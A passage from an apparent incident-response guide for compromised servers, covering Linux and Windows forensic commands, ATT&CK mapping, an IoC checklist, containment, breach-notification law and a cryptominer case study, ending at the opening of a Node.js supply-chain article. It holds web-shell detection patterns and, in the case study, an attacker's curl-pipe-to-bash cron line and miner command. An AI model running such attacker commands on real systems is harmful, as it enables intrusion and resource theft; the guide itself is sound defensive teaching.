grep -E "(UNION|SELECT|DROP|exec\(|eval\(|base64_decode|cmd=|exec=)" \
  /var/log/nginx/access.log

# Find recently created files — may reveal dropped payloads
find / -mtime -7 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | \
  grep -v "\.log$" | head -50

Step 4 — Determine Attacker Actions

# Check bash history for all users
cat /root/.bash_history
for user in $(cut -f1 -d: /etc/passwd); do
  home=$(eval echo "~$user")
  if [ -f "$home/.bash_history" ]; then
    echo "=== History for $user ===" && cat "$home/.bash_history"
  fi
done

# Check if history was cleared (empty history with recent mtime = suspicious)
ls -la /root/.bash_history

# Check recently accessed files
find / -atime -1 -type f -not -path "/proc/*" 2>/dev/null | head -30

# Check audit logs for executed commands (if auditd was running)
ausearch -i -m execve --start recent

# Review outbound connections that occurred
grep "ESTABLISHED\|SYN_SENT" /tmp/forensics/network_connections.txt

Step 5 — Check Persistence Mechanisms

# ── SSH Keys ──────────────────────────────────────────────────────
find /home /root /etc -name "authorized_keys" 2>/dev/null -exec echo "=== {} ===" \; \
  -exec cat {} \;

# ── Cron Jobs ─────────────────────────────────────────────────────
ls -la /etc/cron* /var/spool/cron/crontabs/ && cat /etc/cron.d/*

# ── Systemd Services ──────────────────────────────────────────────
systemctl list-units --type=service --state=running
find /etc/systemd/system/ -name "*.service" -newer /etc/passwd

# ── Web Shells ────────────────────────────────────────────────────
find /var/www /srv /opt -name "*.php" \
  -exec grep -l "eval\|system\|exec\|base64_decode\|passthru" {} \;

# ── SUID Binaries ─────────────────────────────────────────────────
find / -perm -4000 -type f -not -path "/proc/*" 2>/dev/null

# ── Startup Scripts ───────────────────────────────────────────────
ls -la /etc/rc.local /etc/rc*.d/ /etc/init.d/

# ── LD_PRELOAD Hijacking ──────────────────────────────────────────
cat /etc/ld.so.preload 2>/dev/null && env | grep LD_PRELOAD

Step 6 — Scope Affected Systems

# Check for other hosts this server connects to
cat ~/.ssh/known_hosts && cat /etc/hosts && arp -n

# Look for lateral SSH movement from this server
grep "Accepted\|publickey\|password" /var/log/auth.log | grep "from"

# AWS: Check CloudTrail for API calls made by this instance's IAM role
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=ResourceName,AttributeValue=i-YOUR_INSTANCE_ID

Step 7 — Timeline Reconstruction

# Combine auth.log, syslog, and web logs sorted by timestamp
cat /var/log/auth.log /var/log/syslog /var/log/nginx/access.log | \
  sort -k1,3 > /tmp/forensics/unified_timeline.txt

# Find file modifications around the suspected breach time
find / -newermt "2024-01-15 02:00" ! -newermt "2024-01-15 06:00" \
  -type f -not -path "/proc/*" 2>/dev/null

6. Useful Commands & Tools

6.1 Login and Session Investigation

# last — login history with source IP
last -n 50 -a   # -a shows hostname/IP in last column

# lastlog — most recent login per account (spot accounts that shouldn't login)
lastlog | grep -v "Never logged in"

# who — currently logged-in users
who -a

# w — logged-in users + what command they are currently running
w

6.2 Process Investigation

# Full process listing sorted by CPU (find cryptominers)
ps aux --sort=-%cpu | head -20

# Visual process tree — attackers' reverse shells appear as children of web processes
ps auxf
pstree -aup

# lsof — open files and network connections per process
lsof -i           # All network connections
lsof -i :4444     # Who is using port 4444?
lsof -p <PID>     # All files opened by a specific PID
lsof | grep deleted  # Malware deleted from disk but still running in memory

6.3 Network Investigation

# ss — fast, modern netstat replacement
ss -tulpn          # All listening sockets with process names
ss -tnp            # All established TCP connections with process names

# Find unexpected external connections
ss -tnp | grep -v "127.0.0.1\|::1\|10\.\|172\.16\.\|192\.168\."

6.4 File System Forensics

# Files modified in the last N days
find / -mtime -1 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

# Files modified within a specific time window
find /var/www -newermt "2024-01-15 00:00" ! -newermt "2024-01-16 00:00" -type f

# World-writable files (common malware drop point)
find / -perm -o+w -type f -not -path "/proc/*" 2>/dev/null

# SUID/SGID binaries
find / -type f \( -perm -4000 -o -perm -2000 \) -not -path "/proc/*" 2>/dev/null

# Hidden files and directories
find / -name ".*" -type f -not -path "/proc/*" -not -path "/home/*/.bash*" 2>/dev/null | head -30

6.5 Rootkit Detection

# chkrootkit — scans system binaries and /proc for known rootkit signatures
apt install chkrootkit  # OR yum install chkrootkit
chkrootkit -q           # Only show positive findings

# rkhunter — more comprehensive: checks binaries, backdoors, configs, network ports
apt install rkhunter
rkhunter --update       # Update signatures first
rkhunter --check --rwo  # Only show warnings

6.6 System Auditing with auditd

# Install and enable
apt install auditd && systemctl enable auditd && systemctl start auditd

# Add critical watch rules
auditctl -w /etc/passwd -p wa -k passwd_change
auditctl -w /etc/sudoers -p wa -k sudoers_change
auditctl -w /tmp -p x -k tmp_exec             # Exec from /tmp (common malware staging)
auditctl -w /bin/bash -p x -k bash_exec

# Search audit log
ausearch -k passwd_change          # Events matching watch key
ausearch -m execve --start today   # All exec calls today
ausearch -x /bin/bash --start yesterday

# Human-readable reports
aureport --summary
aureport --login --failed
aureport --exec

6.7 fail2ban

systemctl status fail2ban

# Check active bans
fail2ban-client status
fail2ban-client status sshd

# Manually ban an attacking IP
fail2ban-client set sshd banip 203.0.113.42

# View banned IPs
fail2ban-client banned

7. MITRE ATT&CK Technique Mapping

The MITRE ATT&CK framework provides a standardised vocabulary for attacker behaviour. Use these mappings to align your detection rules, SIEM queries, and threat hunting to industry-standard technique IDs.

ATT&CK Tactic	Technique ID	Technique Name	Indicator / Detection
Initial Access	T1190	Exploit Public-Facing Application	Web server 500 errors, unusual POST payloads
Initial Access	T1078	Valid Accounts	Successful logins from unexpected IPs
Initial Access	T1110.001	Brute Force: Password Guessing	SSH failed login spikes in `auth.log`
Initial Access	T1566.001	Phishing: Spearphishing Attachment	Email logs, browser forensics
Initial Access	T1195	Supply Chain Compromise	Unexpected behaviour in dependency code
Execution	T1059.004	Unix Shell	Unexpected shell spawned from web process
Execution	T1059.001	PowerShell	PowerShell with `-EncodedCommand` or download
Persistence	T1053.003	Cron Job	Unknown entries in `/etc/cron.d/`
Persistence	T1098.004	SSH Authorized Keys	New keys in `~/.ssh/authorized_keys`
Persistence	T1543.002	Systemd Service	Unknown `.service` files in `/etc/systemd/`
Persistence	T1136.001	Create Local Account	New entries in `/etc/passwd`
Privilege Escalation	T1548.001	Setuid/Setgid	New SUID binaries not in baseline
Privilege Escalation	T1548.003	Sudo Caching	NOPASSWD entries in sudoers
Defence Evasion	T1562.001	Disable or Modify Tools	`auditd` / `fail2ban` stopped
Defence Evasion	T1070.002	Clear Linux/Mac System Logs	Log files truncated; gaps in timestamps
Defence Evasion	T1574.006	LD_PRELOAD	Unexpected `/etc/ld.so.preload` entries
Credential Access	T1552.004	Private Keys	SSH private keys exfiltrated from `~/.ssh/`
Credential Access	T1003	OS Credential Dumping	`/etc/shadow` accessed; `mimikatz` on Windows
Discovery	T1082	System Information Discovery	`uname -a`, `id`, `hostname` in bash history
Discovery	T1046	Network Service Discovery	Port scanning activity in firewall logs
Lateral Movement	T1021.004	Remote Services: SSH	SSH connections to other internal hosts
Collection	T1005	Data from Local System	Unusual `find` / `tar` / `zip` commands
Exfiltration	T1041	Exfiltration Over C2 Channel	Large outbound transfers on established C2 port
Exfiltration	T1048	Exfiltration Over Alternative Protocol	DNS tunnelling, ICMP data transfer
Command & Control	T1071.004	Application Layer Protocol: DNS	High-entropy DNS queries; DNS tunnelling
Command & Control	T1071.001	Web Protocols	HTTPS C2 over port 443 to unknown IPs
Impact	T1496	Resource Hijacking	Cryptominer processes; 90%+ CPU with no load
Impact	T1485	Data Destruction	Mass file deletion; `rm -rf` in audit logs

Practical use: When you discover an indicator, look up its ATT&CK technique ID. Then check the ATT&CK page for "Mitigations" and "Detections" — the community has already written SIEM rules and EDR signatures for most techniques. Use MITRE ATT&CK Navigator to visualise your detection coverage.

8. Indicators of Compromise (IoC) Checklist

Use this checklist during an active investigation. Check each item and record your findings.

#	Indicator	Where to Check	MITRE ID	Status
1	New or unrecognised user accounts	`/etc/passwd`	T1136	☐
2	Users added to sudo / wheel group	`/etc/sudoers`, `getent group sudo`	T1548	☐
3	Unrecognised SSH authorized_keys	`~/.ssh/authorized_keys` (all users)	T1098.004	☐
4	Unexpected successful SSH logins	`/var/log/auth.log` or `secure`	T1078	☐
5	Logins from unexpected IPs or geos	`last -a`, CloudTrail / audit logs	T1078	☐
6	Unknown or high-CPU processes	`ps aux --sort=-%cpu`	T1496	☐
7	Processes on unexpected ports	`ss -tulpn`	T1571	☐
8	Unexpected outbound connections	`ss -tnp`, VPC Flow Logs	T1041	☐
9	Unknown or modified cron jobs	`crontab -l`, `/etc/cron.d/`	T1053.003	☐
10	Unknown systemd services	`systemctl list-units --type=service`	T1543.002	☐
11	Modified system binaries	`rkhunter --check`, `debsums`, `rpm -Va`	T1601	☐
12	Webshells in web root	`find /var/www -name "*.php" -exec grep -l eval {} \;`	T1505.003	☐
13	SUID binaries not in baseline	`find / -perm -4000`	T1548.001	☐
14	Modified `/etc/hosts` or DNS config	`cat /etc/hosts`, `cat /etc/resolv.conf`	T1565	☐
15	Modified SSH server config	`cat /etc/ssh/sshd_config`	T1556	☐
16	Modified PAM config	`ls -la /etc/pam.d/`	T1556.003	☐
17	Disabled or stopped security tools	`systemctl status auditd fail2ban`	T1562.001	☐
18	Gaps or tampering in log files	`ls -la /var/log/`, check file sizes	T1070.002	☐
19	Unusual files in `/tmp`, `/dev/shm`	`ls -la /tmp/ /dev/shm/ /var/tmp/`	T1059	☐
20	Unexpected kernel modules	`lsmod`	T1215	☐
21	New firewall rules (ports opened)	`iptables -L -n`, cloud security groups	T1562.004	☐
22	Cloud IAM changes or new API keys	CloudTrail, GCP Audit Logs, Azure Monitor	T1078.004	☐
23	Large outbound data transfers	Network flow logs, VPC Flow Logs	T1048	☐
24	Rootkit detection findings	`chkrootkit -q`, `rkhunter --check --rwo`	T1014	☐
25	Modified `.bashrc` / `.profile`	`cat /root/.bashrc`	T1546.004	☐
26	Privileged / host-mounted containers	`kubectl get pods --all-namespaces -o json`	T1610	☐
27	High-entropy DNS queries	Zeek `dns.log`, Suricata EVE JSON	T1071.004	☐
28	Suricata / IDS C2 alerts	`/var/log/suricata/eve.json`	T1071.001	☐
29	`LD_PRELOAD` entries	`cat /etc/ld.so.preload`	T1574.006	☐
30	Deleted files still running in memory	`lsof	grep deleted`	T1070

9. Immediate Response Actions

Once compromise is confirmed, act decisively and in the correct order.

9.1 Isolate the Server

# Option A: Block all traffic except your investigation IP (iptables)
iptables -I INPUT -s YOUR_IP/32 -j ACCEPT
iptables -I OUTPUT -d YOUR_IP/32 -j ACCEPT
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

# Option B: AWS — remove all inbound rules from the security group
aws ec2 revoke-security-group-ingress \
  --group-id sg-XXXX --protocol all --cidr 0.0.0.0/0

Snapshot the disk before isolating the server for forensic preservation.

9.2 Kill Malicious Sessions

# View active sessions
who && w

# Kill a specific terminal session (use PTS from `who` output)
pkill -kill -t pts/1

# Kill a specific process by PID
kill -9 <PID>

# Kill all processes owned by a suspicious user
pkill -u suspicioususer

9.3 Rotate All Credentials

Rotate after isolation to prevent the attacker from responding destructively.

# Remove unauthorised SSH keys, then generate new keys for your team
ssh-keygen -t ed25519 -C "new_key_post_incident_$(date +%F)"

# Rotate system user passwords
passwd root && passwd <other_users>

# AWS — rotate IAM access keys
aws iam create-access-key --user-name YOUR_USER
aws iam delete-access-key --user-name YOUR_USER --access-key-id OLD_KEY_ID

# Rotate database passwords (PostgreSQL example)
psql -U postgres -c "ALTER USER appuser WITH PASSWORD 'new_strong_password';"

# Rotate API keys, webhook secrets, JWT secrets, and update secrets manager

9.4 Patch the Exploited Vulnerability

# Full system update (Ubuntu/Debian)
apt update && apt upgrade -y

# Full system update (RHEL/CentOS/Amazon Linux)
yum update -y

# Patch a specific component (e.g., OpenSSH)
apt install --only-upgrade openssh-server

9.5 Restore from Backups

# Compare current file hashes against your baseline
md5sum /usr/bin/ls /bin/bash /sbin/sshd > current_hashes.txt
diff baseline_hashes.txt current_hashes.txt

# Restore specific files from backup
rsync -avz backup_server:/backups/latest/etc/ /etc/

9.6 Notify Stakeholders

Timely, accurate communication is a legal and operational requirement — see Section 10 for regulatory obligations.

Internal (immediately on confirmation):

CTO / Engineering Lead
Legal and Compliance
On-call team

External (based on data exposure assessment):

Affected customers
Data protection authorities
Cyber insurance provider
Law enforcement (for significant breaches or ransomware)

10. Legal, Compliance & Regulatory Obligations

A server compromise is not just a technical event — it is a legal event. The moment you confirm that personal data, payment data, or protected health information may have been accessed, a regulatory clock starts ticking. Ignoring this can result in fines that dwarf your remediation costs.

10.1 GDPR (General Data Protection Regulation)

Applies to any organisation that processes data of EU/UK residents, regardless of where your servers are located.

Obligation	Requirement	Deadline
Supervisory Authority Notification	Report to your national DPA if the breach is likely to result in risk to individuals	72 hours from becoming aware
Individual Notification	Notify affected individuals directly if the breach is likely to result in high risk	Without undue delay
Documentation	Record all breaches, even if not reported externally	Immediate; kept permanently

Key GDPR contacts (examples):

UK: ICO — ico.org.uk/report-a-breach
Ireland: DPC — dataprotection.ie
Germany: Each Bundesland has its own DPA

GDPR Breach Assessment Checklist:
☐ What categories of personal data were exposed?
  (Names, emails = low risk | Health data, financial = HIGH risk)
☐ How many data subjects are affected?
☐ Can the data be used to cause harm (identity theft, discrimination)?
☐ Was the data encrypted at rest?
☐ Has the attacker been confirmed to have accessed the data,
  or just the server?

10.2 PCI-DSS (Payment Card Industry Data Security Standard)

Applies if your servers process, store, or transmit cardholder data (credit/debit card numbers).

Obligation	Requirement
Incident Response Plan	You must have a documented, tested IR plan (Requirement 12.10)
Notify Card Brands	Contact Visa, Mastercard, Amex directly within 24 hours of suspected compromise
Notify Acquiring Bank	Your payment processor must be informed immediately
Forensic Investigation	A PCI Forensic Investigator (PFI) may be required for serious breaches
Log Preservation	Preserve all logs for at least 12 months; 3 months immediately available

Critical: Do not wipe or rebuild compromised systems in a PCI environment until your acquiring bank authorises it — you may be required to preserve the evidence for a PFI investigation.

10.3 SEC Cybersecurity Disclosure Rules (US Public Companies)

The SEC's 2023 cybersecurity rules require public companies to:

Disclose material cybersecurity incidents on Form 8-K within 4 business days of determining materiality
Disclose cybersecurity risk management, strategy, and governance in annual reports (Form 10-K)

A breach is "material" if a reasonable investor would consider it important to an investment decision — typically when customer data, revenue, operations, or reputation is significantly affected.

10.4 Nigeria Data Protection Act (NDPA) / NDPR

For Nigerian-based organisations (particularly relevant for fintechs and startups operating in Nigeria):

The Nigeria Data Protection Act 2023 requires notification to the Nigeria Data Protection Commission (NDPC) of data breaches
Notification of affected data subjects is required where the breach is likely to cause harm
Organisations must maintain a breach register

10.5 Law Enforcement Engagement

When to engage law enforcement:
☐ Nation-state or politically motivated attack (CISA in the US, NCSC in UK)
☐ Ransomware (FBI has a dedicated ransomware task force)
☐ Financial fraud or wire transfers initiated via the compromise
☐ Child exploitation material discovered on the server
☐ Any attack on critical infrastructure

Important: Do NOT pay ransoms without consulting legal counsel.
Some ransomware groups are on OFAC sanctions lists — paying them
may itself be a criminal act under US law.

Key contacts:

US: FBI Cyber Division — ic3.gov | CISA — cisa.gov/report
UK: NCSC — ncsc.gov.uk/section/about-ncsc/report-an-incident
Nigeria: NITDA — nitda.gov.ng

10.6 Cyber Insurance

If your organisation holds a cyber insurance policy:

Post-incident insurance checklist:
☐ Notify your insurer BEFORE rebuilding systems (they may require
  their own forensic investigator)
☐ Document all incident response costs (staff hours, third-party IR,
  legal fees, notification costs)
☐ Do not make public statements about the breach without legal sign-off
☐ Preserve all evidence in its original state until the insurer approves
☐ Check your policy for ransomware payment coverage and sublimits

11. Prevention Best Practices

11.1 Multi-Factor Authentication (MFA)

# Install Google Authenticator PAM for SSH MFA
apt install libpam-google-authenticator
echo "auth required pam_google_authenticator.so" >> /etc/pam.d/sshd

# Enforce in sshd_config
cat >> /etc/ssh/sshd_config << EOF
ChallengeResponseAuthentication yes
AuthenticationMethods publickey,keyboard-interactive
EOF
systemctl restart sshd

11.2 Least Privilege

# Audit sudo — nobody should have NOPASSWD unless absolutely necessary
grep -r "NOPASSWD" /etc/sudoers /etc/sudoers.d/

# Lock down SSH
cat >> /etc/ssh/sshd_config << EOF
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
AllowUsers deploy ubuntu YOUR_USER
MaxAuthTries 3
LoginGraceTime 30
EOF
systemctl restart sshd

11.3 Automated Patch Management

# Enable automatic security-only updates (Ubuntu)
apt install unattended-upgrades
dpkg-reconfigure --priority=low unattended-upgrades

11.4 Log Monitoring Architecture

┌──────────────────────────────────────────────────────────────────┐
│                    LOGGING ARCHITECTURE                          │
│                                                                  │
│  Server Logs  ──►  Log Aggregator  ──►  SIEM / Alerting         │
│  (auth.log,        (Fluentd,             (Elastic/Kibana,        │
│   syslog,           Filebeat,             Splunk, Datadog,       │
│   nginx.log,        Logstash)             Wazuh)                 │
│   Zeek,                                        ↓                │
│   Suricata)                            Alert Rules               │
│                                        - Root login              │
│                                        - New user created        │
│                                        - Port scan detected      │
│                                        - Auth failure spike      │
│                                        - C2 beacon detected      │
└──────────────────────────────────────────────────────────────────┘

11.5 IDS/IPS, EDR, and File Integrity Monitoring

# Wazuh agent (open-source HIDS/SIEM)
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | apt-key add -
echo "deb https://packages.wazuh.com/4.x/apt/ stable main" | \
  tee /etc/apt/sources.list.d/wazuh.list
apt update && apt install wazuh-agent
systemctl enable wazuh-agent && systemctl start wazuh-agent

# AIDE — File Integrity Monitoring
apt install aide
aideinit
cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db
# Automated daily check
echo "0 2 * * * root /usr/bin/aide --check | \
  mail -s 'AIDE Report' security@yourcompany.com" >> /etc/crontab

11.6 Backup Strategy (3-2-1 Rule)

┌────────────────────────────────────────────────┐
│           THE 3-2-1 BACKUP RULE                │
│                                                │
│  3  copies of your data                        │
│  2  different storage media / services         │
│  1  copy offsite / air-gapped                  │
│                                                │
│  Cloud implementation:                         │
│  - Daily automated EBS/disk snapshots          │
│  - Weekly cross-region backup copy             │
│  - Monthly export to immutable cold storage    │
│  - Quarterly restore test (actually restore!)  │
└────────────────────────────────────────────────┘

11.7 Harden Your Attack Surface

# Disable unused services
systemctl disable --now bluetooth avahi-daemon cups

# UFW firewall — default deny
ufw default deny incoming
ufw default allow outgoing
ufw allow 22/tcp && ufw allow 443/tcp && ufw allow 80/tcp
ufw enable

# AWS IMDSv2 only (prevents SSRF attacks from stealing IAM credentials)
aws ec2 modify-instance-metadata-options \
  --instance-id i-YOUR_INSTANCE_ID \
  --http-tokens required \
  --http-endpoint enabled

12. Windows Server Incident Response

Windows Server environments require a parallel investigation workflow. Here is a concise Windows-specific playbook.

12.1 PowerShell Forensic Commands

# ── Active Sessions ───────────────────────────────────────────────
# List all logged-in users
query user /server:localhost
Get-WmiObject Win32_LoggedOnUser | Select-Object Antecedent, Dependent

# ── Process Investigation ─────────────────────────────────────────
# Full process listing with parent PIDs (reveals process tree)
Get-Process | Select-Object Name, Id, CPU, WS, Path |
  Sort-Object CPU -Descending | Format-Table -AutoSize

# Show processes with network connections
Get-NetTCPConnection -State Established |
  Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort,
                OwningProcess, @{n='Process';e={(Get-Process -Id $_.OwningProcess).Name}} |
  Format-Table -AutoSize

# ── Scheduled Tasks (attacker persistence) ────────────────────────
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} |
  Select-Object TaskName, TaskPath, State |
  Format-Table -AutoSize

# Find recently created scheduled tasks (last 7 days)
Get-ScheduledTask | Where-Object {
  $_.Date -gt (Get-Date).AddDays(-7)
} | Select-Object TaskName, Date, TaskPath

# ── Local Users & Groups (backdoor accounts) ─────────────────────
Get-LocalUser | Select-Object Name, Enabled, LastLogon, PasswordLastSet
Get-LocalGroupMember -Group "Administrators"

# ── Event Log Forensics ───────────────────────────────────────────
# Failed logins in the last 24 hours
Get-WinEvent -FilterHashtable @{
  LogName='Security'; Id=4625
  StartTime=(Get-Date).AddHours(-24)
} | Select-Object TimeCreated, Message | Format-List

# Successful logins from the last 24 hours
Get-WinEvent -FilterHashtable @{
  LogName='Security'; Id=4624
  StartTime=(Get-Date).AddHours(-24)
} | Select-Object TimeCreated, Message | Format-List

# New user account creations
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4720}

# New scheduled task creations
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4698}

# Service installations (malware as a service)
Get-WinEvent -FilterHashtable @{LogName='System'; Id=7045}

# Users added to privileged groups
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4728} # Domain group
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4732} # Local group

# ── Persistence Locations ─────────────────────────────────────────
# Registry run keys (common autorun persistence)
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"

# Services (attacker-installed services)
Get-Service | Where-Object {$_.StartType -eq "Automatic"} |
  Select-Object Name, DisplayName, Status, StartType

# WMI subscriptions (fileless persistence)
Get-WMIObject -Namespace root/subscription -Class __EventFilter
Get-WMIObject -Namespace root/subscription -Class __EventConsumer

# ── Network Investigation ─────────────────────────────────────────
# All listening ports with process association
netstat -ano | findstr LISTENING

# Map PIDs to process names
Get-NetTCPConnection -State Listen |
  Select-Object LocalPort, OwningProcess,
    @{n='ProcessName';e={(Get-Process -Id $_.OwningProcess -EA SilentlyContinue).Name}}

# ── Prefetch and Recent Execution ─────────────────────────────────
# Prefetch files reveal recently executed programs (including malware)
Get-ChildItem C:\Windows\Prefetch | Sort-Object LastWriteTime -Descending | Select-Object -First 20

# Recently modified files in temp and user directories
Get-ChildItem $env:TEMP, $env:TMP, "C:\Users\*\AppData\Local\Temp" -Recurse -ErrorAction SilentlyContinue |
  Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-3)} |
  Select-Object FullName, LastWriteTime | Sort-Object LastWriteTime -Descending

# ── Preserve Evidence ─────────────────────────────────────────────
# Export Security event log for offline analysis
wevtutil epl Security C:\forensics\security.evtx
wevtutil epl System C:\forensics\system.evtx
wevtutil epl Application C:\forensics\application.evtx

# Create a hash of collected evidence
Get-FileHash C:\forensics\* | Export-Csv C:\forensics\evidence_hashes.csv

12.2 Sysmon Configuration

Sysmon (System Monitor) dramatically enhances Windows event logging. Deploy it on all Windows servers.

# Download and install Sysmon
# Download from: https://docs.microsoft.com/sysinternals/downloads/sysmon
.\Sysmon64.exe -accepteula -i sysmonconfig.xml

# Recommended config: SwiftOnSecurity's sysmon-config
# https://github.com/SwiftOnSecurity/sysmon-config
Invoke-WebRequest -Uri https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml \
  -OutFile sysmonconfig.xml
.\Sysmon64.exe -c sysmonconfig.xml  # Apply config

# Key Sysmon Event IDs to monitor:
# Event 1:  Process Creation (captures full command line + parent)
# Event 3:  Network Connection (process-level network visibility)
# Event 7:  Image Loaded (DLL injection detection)
# Event 8:  CreateRemoteThread (process injection)
# Event 10: ProcessAccess (LSASS dumping detection — Event 10 + target=lsass.exe)
# Event 11: FileCreate (malware dropping files)
# Event 13: RegistryValue Set (persistence via registry)
# Event 22: DNS Query (C2 domain tracking)
# Event 25: ProcessTampering (hollowing/herpaderping)

# Query Sysmon logs via PowerShell
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
  Where-Object {$_.Id -eq 1} |  # Process creation
  Select-Object TimeCreated,
    @{n='CommandLine';e={$_.Properties[10].Value}},
    @{n='ParentProcess';e={$_.Properties[20].Value}} |
  Format-List | Select-Object -First 20

12.3 Windows Defender Logs

# View Windows Defender threat history
Get-MpThreatDetection | Select-Object ThreatName, ActionSuccess, DetectionTime,
  Resources, ProcessName | Format-List

# View all quarantined items
Get-MpThreat | Select-Object ThreatName, SeverityID, IsActive | Format-Table

# Check Defender health (attackers disable it)
Get-MpComputerStatus | Select-Object AMServiceEnabled, AntispywareEnabled,
  AntivirusEnabled, RealTimeProtectionEnabled, OnAccessProtectionEnabled

# Re-enable Defender if disabled by attacker
Set-MpPreference -DisableRealtimeMonitoring $false
Start-Service WinDefend

13. Real-World Example: Detecting a Compromised Linux Server

The Scenario

A startup's Node.js API server on AWS EC2 (Ubuntu 22.04) starts showing unusual behaviour. The on-call engineer notices the server's CPU is at 95% with no corresponding increase in API traffic. The following investigation unfolds.

T+0:00 — Initial Alert

Datadog fires a CPU alert. The engineer SSHes in:

$ top
# "kworkerds" consuming 92% CPU
# This is NOT a real kernel worker — it is disguised cryptomining malware

T+0:05 — Process Investigation

$ ps aux | grep kworkerds
nobody  14782  92.1  0.2  /tmp/.cache/kworkerds -o pool.monero.hashvault.pro:443 -u <wallet>
# Running from /tmp, connecting to a Monero mining pool

$ ls -la /tmp/.cache/
-rwxr-xr-x 1 nobody nogroup 2.9M Jan 15 03:11 kworkerds

ATT&CK: T1496 (Resource Hijacking), T1059.004 (Unix Shell)

T+0:08 — Network Investigation

$ ss -tnp | grep 14782
ESTAB  10.0.1.45:52441  195.201.x.x:443  ("kworkerds",pid=14782)
# Confirmed: outbound connection to a known Monero mining pool

ATT&CK: T1071.001 (Application Layer Protocol: Web)

T+0:10 — Finding the Entry Point

$ grep "Jan 15 03:" /var/log/auth.log | grep "Failed\|Accepted"
# 847 failed password attempts for root from 91.108.x.x
Jan 15 03:11:47 sshd: Accepted password for nobody from 91.108.x.x port 52109

Root cause: The nobody user had a weak password and SSH password authentication was enabled. The attacker brute-forced it in under 4 minutes.

ATT&CK: T1110.001 (Brute Force: Password Guessing), T1078 (Valid Accounts)

T+0:15 — Finding Persistence

$ crontab -l -u nobody
* * * * * curl -s http://91.108.x.x/update.sh | bash

$ cat /home/nobody/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1... attacker@kali  # Planted for persistent re-entry

ATT&CK: T1053.003 (Cron Job), T1098.004 (SSH Authorized Keys)

T+0:20 — Isolation and Response

AWS security group updated — deny all except investigation IP
EBS snapshot taken for forensic preservation
Process killed: kill -9 14782
Malicious cron removed and SSH key deleted
Binary removed: rm -rf /tmp/.cache/
nobody account password rotated, SSH password auth disabled globally
fail2ban and auditd installed fleet-wide
AWS GuardDuty enabled (would have flagged the cryptomining connection within minutes had it been active)

Post-Incident Compliance Actions:

Breach assessment conducted — no PII or payment data on this server
Legal confirmed: NDPA notification not required (no personal data in scope)
Incident documented in breach register per best practice
Post-mortem scheduled with full timeline reconstruction

Lessons Applied:

Before	After
SSH password auth enabled	Password auth disabled fleet-wide
No brute-force protection	`fail2ban` deployed on all servers
`nobody` user had login shell	`usermod -s /sbin/nologin nobody`
No anomaly detection	AWS GuardDuty enabled, CPU alert baseline tightened
No audit logging	`auditd` with watch rules deployed

14. Conclusion — The DICRP Framework

Every server incident, regardless of severity, fits into a five-phase lifecycle. Having a mental model for this prevents you from jumping straight to remediation before you have fully understood the scope.

┌────────────────────────────────────────────────────────────────────────────┐
│                          THE DICRP FRAMEWORK                               │
│                                                                            │
│  ┌─────────┐  ┌───────────┐  ┌─────────┐  ┌─────────┐  ┌──────────┐      │
│  │ DETECT  │─►│INVESTIGATE│─►│ CONTAIN │─►│ RECOVER │─►│ PREVENT  │      │
│  └─────────┘  └───────────┘  └─────────┘  └─────────┘  └──────────┘      │
│                                                                            │
│  Detect         Investigate    Contain        Recover       Prevent        │
│  ──────         ───────────    ───────        ───────       ───────        │
│  Monitoring     Preserve       Isolate        Restore       MFA            │
│  SIEM alerts    evidence       server         from backup   Least priv     │
│  Log review     ID access      Kill sessions  Patch vuln    FIM            │
│  Zeek/Suricata  vector         Rotate creds   Verify        IDS/SIEM       │
│  Anomalies      Timeline       Scope blast    integrity     auditd         │
│  GuardDuty      Persistence    radius         Resume ops    3-2-1 backup   │
│                 MITRE mapping  Legal notify               Patch mgmt       │
└────────────────────────────────────────────────────────────────────────────┘

A server compromise is not just a technical event — it is a business event with legal, reputational, and financial consequences. The teams that handle it best are not the ones who never get attacked; they are the ones who have already thought through their response before the incident happens.

Build your detection. Practice your playbook. Know your logs. Map your threats to ATT&CK. Know your compliance obligations before you need them.

The attacker only needs to get lucky once — you need to be ready every time.

15. Quick Reference & LinkedIn Carousel

First 10 Minutes Checklist

FIRST 10 MINUTES — SERVER COMPROMISE RESPONSE
────────────────────────────────────────────────────────────────────
☐ Take a cloud disk snapshot BEFORE doing anything else
☐ ps aux --sort=-%cpu | head -20         (find malicious processes)
☐ ss -tulpn                              (find unexpected listeners)
☐ last -n 50 -a                          (recent login history)
☐ grep "Accepted" /var/log/auth.log | tail -30  (successful logins)
☐ find / -mtime -1 -type f 2>/dev/null | head -20 (recent file changes)
☐ crontab -l && ls /etc/cron.d/          (cron persistence)
☐ cat ~/.ssh/authorized_keys             (all users)
☐ Isolate server (update security group / iptables)
☐ Notify your incident response team
────────────────────────────────────────────────────────────────────

This article reflects current best practices. The threat landscape evolves continuously — always verify CVEs, tooling, and log paths against your specific OS version and cloud provider documentation. MITRE ATT&CK version referenced: v14.

Hardening Your Node.js App Against Supply Chain & Remote Code Execution Attacks

Olawale Afuye — Sat, 23 May 2026 14:19:02 +0000

Supply chain attacks on the npm ecosystem have quietly become one of the most effective ways attackers compromise production systems. They don't break down your front door they hide inside a package you already trust.

You've probably heard of incidents like event-stream (2018), ua-parser-js (2021), and the XZ Utils saga (2024). Each one followed the same playbook: gain access to a popular package, inject malicious code, and wait for millions of installs to do the rest.

But 2025 and 2026 have made clear that the threat has evolved. This is no longer a series of isolated incidents it's a coordinated, industrialised campaign.

The Threat Is Accelerating — Recent Events You Need to Know

